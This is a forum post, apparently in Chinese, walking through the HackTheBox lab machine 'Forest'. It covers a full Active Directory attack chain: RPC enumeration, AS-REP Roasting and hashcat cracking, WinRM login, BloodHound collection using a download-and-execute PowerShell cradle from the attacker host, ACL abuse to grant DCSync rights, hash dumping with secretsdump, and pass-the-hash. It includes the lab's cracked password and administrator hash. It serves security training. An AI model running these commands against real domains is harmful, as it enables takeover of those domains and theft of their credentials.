电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 541 人浏览分享

HTB靶机渗透系列之Forest

[复制链接]
541 0
本帖最后由 zhaorong 于 2022-7-29 15:32 编辑

Forest是一个简单的靶机,知识点涉及RPC、AS-REP Roasting、WinRM登陆、BloodHound信息收集
DCSync等。感兴趣的同学可以在HackTheBox中进行学习。

1647935062_62397e56387a7749cde8f.png

通关思维导图

QQ截图20220729113006.png

0x01 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.161 -oA nmap_Forest

669.png

扫描结果显示目标开放了53、88、135、445、5985等端口

53端口

在本地hosts文件中进行DNS解析域名htb.local、forest.htb.local

vim /etc/hosts
## 配置
10.10.10.161 htb.local
10.10.10.161 forest.htb.local

尝试进行区域传输,无果

dig axfr @10.10.10.161 htb.local

QQ截图20220729113232.png

445端口

使用 smbmap 查看 smb 服务

smbmap -H 10.10.10.161
smbmap -H 10.10.10.161 -u mac -p mac

668.png

没有发现共享目录,使用 smbclient 进行探测也无法列出共享

smbclient -N -L //10.10.10.161

666.png

RPC远程过程调用枚举用户,成功拿到用户列表、用户组

rpcclient -U "" -N 10.10.10.161
rpcclient > enumdomusers
rpcclient > enumdomgroups

665.png

664.png

查询域管理员组以及对应的管理员用户

rpcclient > querygroup 0x200
rpcclient > querygroupmem 0x200
rpcclient > queryuser 0x1f4

663.png

0x02 上线[svc-alfresco]

AS-REP Roasting

AS-REP Roasting是一种针对kerberos协议的攻击技术,在之前我们也讲到过 kerberoasting。那它们之间有什么区别呢?
kerberoasting 通常需要域上的凭据才能进行身份验证,在域中提取服务帐户凭据哈希来进行离线破解。而 AS-REP
Roasting 可提取账户哈希来进行离线暴力破解,前提是需要账户开启不使用Kerberos预认证或将uf_dont_require
_preauth设置为true。

正好在之前的检查中我们发现许多账户,对其进行过滤后拿到的用户列表如下

Administrator
andy
lucinda
mark
santi
sebastien
svc-alfresco

使用 impacket 工具中的 GetNPUsers.py 尝试获取每个用户的哈希值

for user in $(cat user.txt);do python3 GetNPUsers.py -no-pass -dc-ip 10.10.10.161
htb/${user} | grep -v Impacket;done

662.png

其中用户 svc-alfresco 存在哈希值,使用 hashcat 进行破解

hashcat -m 18200 svc-alfredsco.kerb /usr/share/wordlists/rockyou.txt --force

661.png

成功破解密码为s3rvice

WinRM登陆

使用 Evil-WinRM 借助该用户的凭据进行登陆
下载地址:https://github.com/Hackplayers/evil-winrm/releases/tag/v3.3
直接安装gem install evil-winrm

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

660.png

在当前用户的桌面查找flag

dir c:\Users\svc-alfresco\desktop

type c:\Users\svc-alfresco\desktop\user.txt

599.png

成功拿到第一个flag

0x03 权限提升[administrator]

信息枚举

BloodHound 是一种单页的 JavaScript 的Web应用程序,能显示 Active Directory 环境中隐藏的和相关联的主机内容攻击者
常使用 BloodHound 识别高度复杂的攻击路径,防御者亦可借助其识别和防御相同的攻击路径。SharpHound 则可以帮助我
们收集 BloodHound 的数据信息,在 BloodHound 中可直接加载该数据

下载地址:https://github.com/BloodHoundAD/BloodHound
下载地址:https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1

安装 BloodHound

apt install bloodhound

启动 neo4j

neo4j start

399.png

使用默认账号密码 neo4j/neo4j 进行登陆,首次登陆需要修改密码,修改后的密码为mac.

398.png

密码修改完成后在终端启动 BloodHound

bloodhound

397.png

输入账号密码后登陆成功,然后在本地开启 http 服务用于传输SharpHound.ps1

python3 -m http.server 80

将SharpHound.ps1加载至当前会话当中

cd C:\Users\svc-alfresco\appdata\local\temp
iex(new-object net.webclient).downloadstring("http://10.10.14.26/SharpHound.ps1")

使用获取到的凭证信息调用该脚本

invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice

396.png


成功导出 zip 压缩格式的数据文件,在本地开启 smb 共享,需要使用身份认证否则会报错

python3 smbserver.py mac -smb2support ~/hackthebox/Machines/Forest
-username mac -password mac

在靶机中传输压缩文件

net use \\10.10.14.26\mac /u:mac mac
copy 20220314010252_BloodHound.zip \\10.10.14.26\mac\
net use /d \\10.10.14.26\mac //中断连接

823.png

在BloodHound 中加载该压缩包,出现报错信息:无法解压 zip 数据文件

298.png

原因是在使用 BloundHound 时的版本问题,需要切换至 foss_vnext 分支进行下载使用
下载地址:https://github.com/BloodHoundAD/BloodHound/tree/foss_vnext/Collectors

296.png

同时也需要重新下载版本为 4.0.3 的 BloodHound

289.png

那么我们重复一遍之前的操作

288.png

将新下载的 4.0.3 版本的 BloodHound 移至本地,为 BloodHound 赋予执行权限

chmod +x BloodHound

./BloodHound --no-sandbox

286.png

点击“查找与管理员的最短路径”,从中可以发现svc-alfresco的访问权限至Administrator需要两次跳转

100.png

加入Exchange Windows组

当前用户在 Service Account 中,后者则是 Privileged IT Account 组当中的成员,与此同时该组也是 Account
Operators组当中的成员,所以当前用户正处于 Account Operators 组当中。而 Account Operators 组对
Exchange Windows Permissions 组拥有 Generic All权限。

99.png

因此我们可以滥用该权限将当前用户添加至 Exchange Windows Permissions 组当中

net group "Exchange Windows Permissions" svc-alfresco /add /domain
net group "Exchange Windows Permissions"

98.png

成功添加至 Exchange Windows Permissions 组,但是靶机一直在清理 Exchange Windows Permissions
组当中的成员为了确保当前账户的安全,我们可以新建一个账户

net user mac mac@123 /add /domain

将其添加至 Exchange Windows Permissions 组当中

net group "Exchange Windows Permissions" mac /add /domain

96.png

借助 PowerSploit 中的 powerview.ps1 来滥用WriteDacl权限

iex(New-Object Net.webclient).downloadstring('http://10.10.14.26/powerview.ps1')

创建凭证对象并授予 DCSync 权限

$pass = convertto-securestring 'mac@123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('HTB\mac', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC
=htb,DC=local" -PrincipalIdentity mac -Rights DCSync

90.png

DCSync

DCSync可从利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据

DCSync参考文章:https://yojimbosecurity.ninja/dcsync/

使用 secretsdump.py 获取哈希值

python3 secretsdump.py mac:mac@123@10.10.10.161

89.png

管理员登陆

使用 wmiexec.py 通过哈希传递连接管理员

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb4
3d32c72a07ceea6 htb.local/administrator@10.10.10.161

88.png

在管理员桌面上寻找 flag

dir C:\Users\administrator\Desktop

type C:\Users\administrator\Desktop\root.txt

87.png

成功拿到第二个flag

除了以上方法,使用 WinRM 也可以成功登陆

evil-winrm -i 10.10.10.161 -u administrator -p aad3b435b51404eeaad3b435b5140
4ee:32693b11e6aa90eb43d32c72a07ceea6

86.png

总结:通过RPC远程过程调用发现靶机所处环境为域环境,同时拿到枚举的用户列表。使用AS-REP Roasting技术可破解用户
账户拿到明文密码,GetNPUsers帮助我们拿到了svc-alfresco用户哈希,hashcat则成功破解密码,通过WinRM成功登陆用
户在靶机上可使用SharpHound来收集域内信息,通过BloodHound分析收集到的域内信息。其中出现一个小插曲:kali中默
认安装的BloodHound版本存在问题,无法解析SharpHound收集到的数据信息,将其版本切换至4.0.3即可。经过分析后发
现当前用户所处组对Exchange Windows Permissions组拥有Generic All权限,新建用户mac并将其添加至该用户组使用
DCSync从域控制器复制用户凭据,具体可使用secretsdump获取管理员凭据,最终通过wmiexec或WinRM哈希传递可
获取管理员权限。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.